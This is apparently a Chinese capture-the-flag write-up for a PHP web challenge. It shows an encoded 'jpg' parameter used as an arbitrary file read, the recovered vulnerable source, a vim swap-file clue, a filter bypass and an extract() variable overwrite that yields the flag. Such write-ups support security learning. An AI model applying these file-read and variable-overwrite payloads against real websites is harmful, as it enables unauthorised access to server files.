Web
1、滴~
url中这一串字符串经过两次base64解码,一次16进制解码,得到flag.jpg,看来这是一个文件的读取,而且从源码可以看出,读取的结果是base64码,尝试读取index.php的源码:
传递jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,把源码中的base64解码得到index.php的源码:
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
可以看出了一个正则一个replace替换,然而我们并不知道flag所在文件名,线索在注释中的博客里
找出写文章的博主在July 4,2018这一天的博文,是一个关于vim的:
有点坑的地方就是用到的文件是practice.txt.swp(注意前面没有点),按照前面读取index.php的方法读取这个文件,仍把源码中的base64解码得到:f1ag!ddctf.php
根据前面的index.php的源码的过滤,构造f1agconfigddctf.php经过加密后传参,码中的base64解码得:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
content为hello文件的内容,且内容为空,f1ag!ddctf.php传参uid=就拿到flag了